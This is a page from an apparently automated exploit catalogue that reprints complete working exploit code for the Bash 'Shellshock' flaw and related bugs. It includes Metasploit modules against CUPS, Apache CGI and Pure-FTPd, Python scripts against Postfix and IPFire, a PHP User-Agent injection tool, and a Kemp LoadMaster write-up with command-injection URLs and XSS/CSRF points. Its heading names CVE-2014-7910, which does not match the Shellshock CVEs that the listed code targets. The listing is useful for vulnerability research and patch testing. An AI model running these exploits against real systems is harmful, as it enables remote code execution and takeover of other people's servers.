Skip to content
Appaloosa Scout
Language selector
fr en

Materialized exploit

CVE-2014-7910

14 public exploit(s) for this CVE, 14 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB remote linux Verified
Source

CUPS Filter - Bash Environment Variable Code Injection (Metasploit)

By Metasploit

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 35115.rb

Code rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
      'Description' => %q{
        This module exploits a post-auth code injection in specially crafted
        environment variables in Bash, specifically targeting CUPS filters
        through the PRINTER_INFO and PRINTER_LOCATION variables by default.
      },
      'Author' => [
        'Stephane Chazelas', # Vulnerability discovery
        'lcamtuf', # CVE-2014-6278
        'Brendan Coles <bcoles[at]gmail.com>' # msf
      ],
      'References' => [
        ['CVE', '2014-6271'],
        ['CVE', '2014-6278'],
        ['EDB', '34765'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "\x00\x0A\x0D",
          'DisableNops' => true
        },
      'Compat' =>
        {
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic bash awk ruby'
        },
      # Tested:
      # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
      # - CUPS version 1.5.3 on Debian 7 (x64)
      # - CUPS version 1.6.2 on Fedora 19 (x64)
      # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 24 2014',
      'License' => MSF_LICENSE
    ))
    register_options([
      Opt::RPORT(631),
      OptBool.new('SSL', [ true, 'Use SSL', true ]),
      OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
      OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
      OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
      OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
    ], self.class)
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
  end

  #
  # CVE-2014-6278
  #
  def cve_2014_6278(cmd)
    %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
  end

  #
  # Check credentials
  #
  def check
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))
    res = add_printer(printer_name, '')
    if !res
      vprint_error("#{peer} - No response from host")
      return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
      vprint_status("#{peer} - Found CUPS version #{$1}")
    else
      print_status("#{peer} - Target is not a CUPS web server")
      return Exploit::CheckCode::Safe
    end
    if res.body =~ /Set Default Options for #{printer_name}/
      vprint_good("#{peer} - Added printer successfully")
      delete_printer(printer_name)
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      vprint_error("#{peer} - Authentication failed")
    elsif res.code == 426
      vprint_error("#{peer} - SSL required - set SSL true")
    end
    Exploit::CheckCode::Detected
  end

  #
  # Exploit
  #
  def exploit
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))

    # Select target CVE
    case datastore['CVE']
    when 'CVE-2014-6278'
      cmd = cve_2014_6278(payload.raw)
    else
      cmd = cve_2014_6271(payload.raw)
    end

    # Add a printer containing the payload
    # with a CUPS filter pointing to /bin/bash
    res = add_printer(printer_name, cmd)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
    elsif res.body =~ /Set Default Options for #{printer_name}/
      print_good("#{peer} - Added printer successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
    elsif res.code == 426
      fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
    end

    # Add a test page to the print queue.
    # The print job triggers execution of the bash filter
    # which executes the payload in the environment variables.
    res = print_test_page(printer_name)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
    elsif res.body =~ /Test page sent; job ID is/
      vprint_good("#{peer} - Added test page to printer queue")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
    elsif res.code == 426
      fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
    end

    # Delete the printer
    res = delete_printer(printer_name)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
    elsif res.body =~ /has been deleted successfully/
      print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
    elsif res.code == 426
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
    else
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
    end
  end

  #
  # Add a printer to CUPS
  #
  def add_printer(printer_name, cmd)
    vprint_status("#{peer} - Adding new printer '#{printer_name}'")

    ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
    ppd_file = <<-EOF
*PPD-Adobe: "4.3"
*%==== General Information Keywords ========================
*FormatVersion: "4.3"
*FileVersion: "1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: "#{ppd_name}"
*Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1.1
*cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber: #{rand(10) + 1}
*ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"

*DefaultOutputOrder: Reverse
*%==== Media Selection ======================

*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/A4:        "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter:      "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF

    pd = Rex::MIME::Message.new
    pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
    pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
    pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
    pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
    pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
    pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
    pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))

    data = pd.to_s
    data.strip!

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'ctype' => "multipart/form-data; boundary=#{pd.bound}",
      'data' => data,
      'cookie' => "org.cups.sid=#{@cookie};",
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  #
  # Queue a printer test page
  #
  def print_test_page(printer_name)
    vprint_status("#{peer} - Adding test page to printer queue")
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'cookie' => "org.cups.sid=#{@cookie}",
      'vars_post' => {
        'org.cups.sid' => @cookie,
        'OP' => 'print-test-page'
      }
    )
  end

  #
  # Delete a printer
  #
  def delete_printer(printer_name)
    vprint_status("#{peer} - Deleting printer '#{printer_name}'")
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'cookie' => "org.cups.sid=#{@cookie}",
      'vars_post' => {
        'org.cups.sid' => @cookie,
        'OP' => 'delete-printer',
        'printer_name' => printer_name,
        'confirm' => 'Delete Printer'
      }
    )
  end

end
ExploitDB webapps cgi Verified
Source

Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)

By Fady Mohammed Osman

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

ruby 34895.rb

Code rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Shellshock Bashed CGI RCE',
      'Description'    => %q{
          This module exploits the shellshock vulnerability in apache cgi. It allows you to
        excute any metasploit payload you want.
      },
      'Author'         =>
        [
            'Stephane Chazelas',	# vuln discovery
            'Fady Mohamed Osman'	# Metasploit module f.othman at zinad.net
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-6271' ]
        ],
      'Payload'	     =>
        {
          'BadChars' => "",
        },
        'Platform' => 'linux',
        'Arch'		     => ARCH_X86,
        'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Aug 13 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
        OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
      ], self.class)
  end

  def exploit
    @payload_name = "#{rand_text_alpha(5)}"
    full_path = datastore['FILEPATH'] + '/' + @payload_name
    payload_exe = generate_payload_exe
    if payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
    end
    peer = "#{rhost}:#{rport}"
    print_status("#{peer} - Creating payload #{full_path}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI'],
      'agent'    => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" +  "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
    })
  end
end
ExploitDB remote linux Verified
Source

Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection

By Phil Blank

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

python3 34896.py

Code py

#!/bin/python
# Exploit Title:  Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271

from socket import *
import sys

def usage():
    print "shellshock_smtp.py <target> <command>"

argc = len(sys.argv)
if(argc < 3 or argc > 3):
    usage()
    sys.exit(0)

rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]

headers = ([
    "To",
    "References",
    "Cc",
    "Bcc",
    "From",
    "Subject",
    "Date",
    "Message-ID",
    "Comments",
    "Keywords",
    "Resent-Date",
    "Resent-From",
    "Resent-Sender"
    ])

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))

# banner grab
s.recv(2048*4)

def netFormat(d):
    d += "\n"
    return d.encode('hex').decode('hex')

data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)

data = netFormat("rcpt to:<nobody>")
s.send(data)
s.recv(2048*4)

data = netFormat("data")
s.send(data)
s.recv(2048*4)

data = ''
for h in headers:
    data += netFormat(h + ":() { :; };" + cmd)

data += netFormat(cmd)

# <CR><LF>.<CR><LF>
data += "0d0a2e0d0a".decode('hex')

s.send(data)
s.recv(2048*4)

data = netFormat("quit")
s.send(data)
s.recv(2048*4)
ExploitDB remote linux Verified
Source

Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)

By Metasploit

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 34862.rb

Code rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
      'Description'     => %q(
        This module exploits the code injection flaw known as shellshock which
        leverages specially crafted environment variables in Bash. This exploit
        specifically targets Pure-FTPd when configured to use an external
        program for authentication.
      ),
      'Author'          =>
        [
          'Stephane Chazelas', # Vulnerability discovery
          'Frank Denis', # Discovery of Pure-FTPd attack vector
          'Spencer McIntyre' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2014-6271'],
          ['OSVDB', '112004'],
          ['EDB', '34765'],
          ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
        ],
      'Payload'         =>
        {
          'DisableNops' => true,
          'Space'       => 2048
        },
      'Targets'         =>
        [
          [ 'Linux x86',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => :printf
            }
          ],
          [ 'Linux x86_64',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => :printf
            }
          ]
        ],
      'DefaultOptions' =>
        {
          'PrependFork' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 24 2014'))
    register_options(
      [
        Opt::RPORT(21),
        OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
      ], self.class)
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    # this check method tries to use the vulnerability to bypass the login
    username = rand_text_alphanumeric(rand(20) + 1)
    random_id = (rand(100) + 1)
    command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
    if send_command(username, command) =~ /^2\d\d ok./i
      return CheckCode::Safe if banner !~ /pure-ftpd/i
      disconnect

      command = "echo auth_ok:0; echo end"
      if send_command(username, command) =~ /^5\d\d login authentication failed/i
        return CheckCode::Vulnerable
      end
    end
    disconnect

    CheckCode::Safe
  end

  def execute_command(cmd, _opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
    username = rand_text_alphanumeric(rand(20) + 1)
    send_command(username, cmd)
  end

  def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    if generate_payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
    end

    execute_cmdstager(linemax: 500)
    handler
  end

  def send_command(username, cmd)
    cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
    connect
    send_user(username)
    password_result = send_pass(cmd)
    disconnect
    password_result
  end
end
ExploitDB webapps cgi Verified
Source

IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection

By Claudio Viviani

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

python3 34839.py

Code py

#!/usr/bin/env python
#
# Exploit Title : IPFire <= 2.15 core 82 Authenticated cgi Remote Command Injection (ShellShock)
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://www.ipfire.org
#
# Software Link: http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso
#
# Date : 2014-09-29
#
# Fixed version: IPFire 2.15 core 83 (2014-09-28)
#
# Info: IPFire is a free Linux distribution which acts as a router and firewall in the first instance.
#       It can be maintained via a web interface.
#       The distribution furthermore offers selected server-daemons and can easily be expanded to a SOHO-server.
#       IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop.
#
# Vulnerability: IPFire <= 2.15 core 82 Cgi Web Interface suffers from Authenticated Bash Environment Variable Code Injection
#                (CVE-2014-6271)
#
# Suggestion:
#
# If you can't update the distro and you have installed ipfire via image files (Arm, Flash)
# make sure to change the default access permission to graphical user interface (user:admin pass:ipfire)
#
#
# http connection
import urllib2
# Basic Auth management Base64
import base64
# Args management
import optparse
# Error management
import sys

banner = """
       ___ _______ _______ __                _______       __
      |   |   _   |   _   |__.----.-----.   |   _   .-----|__|
      |.  |.  1   |.  1___|  |   _|  -__|   |.  1___|  _  |  |
      |.  |.  ____|.  __) |__|__| |_____|   |.  |___|___  |__|
      |:  |:  |   |:  |                     |:  1   |_____|
      |::.|::.|   |::.|                     |::.. . |
      `---`---'   `---'                     `-------'
   _______ __          __ __ _______ __               __
  |   _   |  |--.-----|  |  |   _   |  |--.-----.----|  |--.
  |   1___|     |  -__|  |  |   1___|     |  _  |  __|    <
  |____   |__|__|_____|__|__|____   |__|__|_____|____|__|__|
  |:  1   |                 |:  1   |
  |::.. . |                 |::.. . |
  `-------'                 `-------'

                                IPFire <= 2.15 c0re 82 Authenticated
                                Cgi Sh3llSh0ck r3m0t3 C0mm4nd Inj3ct10n

                          Written by:

                        Claudio Viviani

                     http://www.homelab.it

                        info@homelab.it
                    homelabit@protonmail.ch

               https://www.facebook.com/homelabit
                  https://twitter.com/homelabit
               https://plus.google.com/+HomelabIt1/
     https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

def connectionScan(url,user,pwd,cmd):
    print '[+] Connection in progress...'
    try:
        response = urllib2.Request(url)
        content = urllib2.urlopen(response)
        print '[X] IPFire Basic Authentication not found'
    except urllib2.HTTPError, e:
        if e.code == 404:
            print '[X] Page not found'
        elif e.code == 401:
            try:
                print '[+] Authentication in progress...'
                base64string = base64.encodestring('%s:%s' % (user, pwd)).replace('\n', '')
                headers = {'VULN' : '() { :;}; echo "H0m3l4b1t"; /bin/bash -c "'+cmd+'"' }
                response = urllib2.Request(url, None, headers)
                response.add_header("Authorization", "Basic %s" % base64string)
                content = urllib2.urlopen(response).read()
                if "ipfire" in content:
                    print '[+] Username & Password: OK'
                    print '[+] Checking for vulnerability...'
                    if 'H0m3l4b1t' in  content:
                        print '[!] Command "'+cmd+'": INJECTED!'
                    else:
                        print '[X] Not Vulnerable :('
                else:
                     print '[X] No IPFire page found'
            except urllib2.HTTPError, e:
                if e.code == 401:
                   print '[X] Wrong username or password'
                else:
                   print '[X] HTTP Error: '+str(e.code)
            except urllib2.URLError:
                print '[X] Connection Error'
        else:
            print '[X] HTTP Error: '+str(e.code)
    except urllib2.URLError:
        print '[X] Connection Error'

commandList = optparse.OptionParser('usage: %prog -t https://target:444/ -u admin -p pwd -c "touch /tmp/test.txt"')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL",
                  )
commandList.add_option('-c', '--cmd', action="store",
                  help="Insert command name",
                  )
commandList.add_option('-u', '--user', action="store",
                  help="Insert username",
                  )
commandList.add_option('-p', '--pwd', action="store",
                  help="Insert password",
                  )
options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.cmd or not options.user or not options.pwd:
    print(banner)
    commandList.print_help()
    sys.exit(1)

print(banner)

url = checkurl(options.target)
cmd = options.cmd
user = options.user
pwd = options.pwd

connectionScan(url,user,pwd,cmd)
ExploitDB remote cgi Verified
Source

GNU Bash - Environment Variable Command Injection (Metasploit)

By Shaun Colley

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 34777.rb

Code rb

    require 'msf/core'

    class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient


        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'bashedCgi',
                'Description'    => %q{
                   Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
                },
                'Author'         =>
                  [
                    'Stephane Chazelas',                      # vuln discovery
                    'Shaun Colley <scolley at ioactive.com>'  # metasploit module
                  ],
                'License'        => MSF_LICENSE,
                'References'     => [ 'CVE', '2014-6271' ],
                'Targets'        =>
                    [
                        [ 'cgi', {} ]
                    ],
                'DefaultTarget'  => 0,
                'Payload'        =>
                    {
                    'Space'      => 1024,
                    'DisableNops' => true
                    },
                'DefaultOptions' => { 'PAYLOAD' => 0 }
            ))

                register_options(
                    [
                        OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
                        OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
                    ], self.class)
        end

        def run
            res = send_request_cgi({
                'method'   => 'GET',
                'uri'      => datastore['TARGETURI'],
                'agent'    => "() { :;}; " + datastore['CMD']
            })

            if res && res.code == 200
                print_good("Command sent - 200 received")
            else
                print_error("Command sent - non-200 reponse")
            end
        end
    end
ExploitDB remote linux Verified
Source

Bash - 'Shellshock' Environment Variables Command Injection

By Prakhar Prasad & Subho Halder

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code php

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
	   GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
	   Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
				echo "Content-type: text/html"
				echo ""
				echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
	die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
	array(
		'http' => array(
			'method'  => 'GET',
			'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
		)
	)
);
$req = file_get_contents($url, false, $context);
if(!$req && strpos($http_response_header[0],"500") > 0 )
	die("Command sent to the server!\n");
else if($req && !strpos($http_response_header[0],"500") > 0)
	die("Server didn't respond as it should!\n");
else if(!$req && $http_response_header == NULL)
	die("A connection error occurred!\n")
?>
ExploitDB remote linux Verified
Source

GNU Bash - 'Shellshock' Environment Variable Command Injection

By Stephane Chazelas

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

Exploit Database Note:
The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 vulnerable
 this is a test

The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched version of bash, you should get an output similar to:

 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 this is a test
ExploitDB webapps multiple
Source

Kemp Load Master 7.1.16 - Multiple Vulnerabilities

By Roberto Suggi Liverani

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

Code txt

# Exploit Title: Kemp Load Master - Multiple Vulnerabilities (RCE, CSRF, XSS, DoS)
# Date: 01 April 2015
# Author: Roberto Suggi Liverani
# Software Link: http://kemptechnologies.com/load-balancer/
# Version: 7.1.16 and previous versions
# Tested on: Kemp Load Master 7.1-16
# CVE : CVE-2014-5287/5288

Link: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html

Kemp virtual load master is a virtual load-balancer appliance which comes with a web administrative interface. I had a chance to test it and this blog post summarises some of the most interesting vulnerabilities I have discovered and which have not been published yet. For those of you who want to try it as well, you can get a free trial version here: http://kemptechnologies.com/server-load-balancing-appliances/virtual-loadbalancer/vlm-download

By default, Kemp web administrative interface is protected by Basic authentication, so the vulnerabilities discussed in the post below can either be exploited attacking an authenticated user via CSRF or XSS based attacks.

The following vulnerabilities were discovered when looking at Kemp Load Master v.7.1-16 and some of them should be fixed in the latest version (7.1-20b or later).

Change logs of the fixed issues can be found at the following page:

"PD-2183 Functions have been added to sanitize input in the WUI in order to resolve some security issues – fix for CVE-2014-5287 and CVE-2014-5288".

Remote Code Execution - status: fixed in 7.1.20b (reported in June 2014) - CVE-2014-5287/5288

An interesting remote code execution vector can be found through the attack payload below:

http://x.x.x.x/progs/fwaccess/add/1|command

The web application functionality is based on multiple bash scripts contained in the /usr/wui/progs folder. The application is using CGI so that the scripts can handle HTTP requests.


We notice that if the result of the command on line 285 is not positive (check on 286), then seterrmsg function is called.


On line 318 we see a dangerous "eval" against our parameters. By simply attempting multiple characters, the seterrmsg function is invoked and returns plenty of interesting information:

http://x.x.x.x/progs/fwaccess/add/1'ls

Response:

HTTP/1.1 200 OK
Date: Sat, 27 Dec 2014 23:25:55 GMT
Server: mini-http/1.0 (unix)
Connection: close
Content-Type: text/html
/usr/wui/progs/util.sh: eval: line 318: unexpected EOF while looking for matching `''
/usr/wui/progs/util.sh: eval: line 319: syntax error: unexpected end of file

line 318 contains an eval against the $@ (which contains our arguments). The arguments are passed via the fwaccess page, where IFS is set with a slash "/" separator.

By attempting the request below, it is possible to achieve code execution:

http://x.x.x.x/progs/fwaccess/add/1|ls

Response:


Line 120 and line 190 reports an integer expression expected error, as our argument is "1|ls" is obviously no longer an integer. However, the command execution works fine, as we are redirecting output through the pipe character and to "ls" command.

The application is flawed in so many other points, also, via HTTP POST requests


Other injection points that were found:

Page: /progs/geoctrl/doadd
Method: POST
Parameter: fqdn

Page: /progs/networks/hostname
Method: POST
Parameter: host

Page: /progs/networks/servadd
Method: POST
Parameter: addr

Page: /progs/useradmin/setopts
Method: POST
Parameter: xuser

So how can we exploit all this goodness?

CSRF (Cross Site Request Forgery) - status: not fixed - reported in June 2014

We can use another vulnerability, such as CSRF - most of the pages of the administrative are vulnerable to this attack, so even though a user is authenticated via Basic authentication, the forged request will force the browser to pass the credentials within the HTTP request.

Interestingly enough, there are some kind of protections against CSRF for critical functions, such as factory reset, shutdown and reset. However, they are flawed as well, as the "magic" token matches with the unix epoch timestamp, so it is predictable and can be passed within the request.


Reflected and Stored XSS - status: partially fixed - reported on June 2014

Another way to attack users is via XSS - in this case, we have plenty of options, as both reflected and stored XSS are there. For instance, a user might want to CSRF -> Store XSS -> BeEF just to achieve persistence.

Reflected XSS was found on this point:

Page: /progs/useradmin/setopts
Method: POST
Parameter: xuser


Stored XSS was found on the following points:

Page: /progs/geoctrl/doadd
Method: POST
Parameter: fqdn


A further injection points:

Page: /progs/fwaccess/add/0
Method: POST
Parameter: comment

Page: /progs/doconfig/setmotd
Method: POST
Parameter:

BeEF Module

As part of this research, I have developed a BeEF module to take advantage of chaining these vulnerabilities together. It is always sweet to use a XSS as a starting point to perform code execution against an appliance.

The github pull request for the module can be found here: https://github.com/beefproject/beef/pull/1104/files


For this module, I wanted to use the beef.net.forge_request() function, using a POST method, required to exploit the above RCE vector attacks. However, POST method was not usable at moment of writing this module and @antisnatchor was very quick to fix it in this case. So if you want to try it, ensure you have the latest version of BeEF installed.


Extra - bonus

Denial of Service - status: unknown - reported on June 2014

It appears the thc-ssl-dos tool can bring down the Kemp Load Master administrative interface, which is served over SSL. The same goes if a balanced service is using SSL via Kemp Load Master.

Shell-shock - status: unknown - reported in 2015

Obviously, the application is not immune from the infamous shell-shock vulnerability. This was found by my friend Paul Heneghan and then by a user complaining on the vendor's blog (the comment has been removed shortly after).

For those of you who are more curios, the shell-shock vulnerability works perfectly via the User-Agent header, also in version 7.1-18 and possibly on version 7.1-20 as well.



Funny enough, Kemp provides Web Application Firewall protection, but I wonder how they can "prevent" the OWASP Top Ten (as they claim here), if their main product is affected by so many critical vulnerabilities ;-)

If you are keen for an extra-extra bonus, keep reading...

Extra - extra bonus:

No license, no web authentication


However, most of the underlying functionality is still available and "attackable" without need of basic authentication. You can invalidate the license with a CSRF setting time far in the future ;-)
ExploitDB remote hardware
Source

QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)

By Patrick Pellegrino

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 36503.rb

Code rb

# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
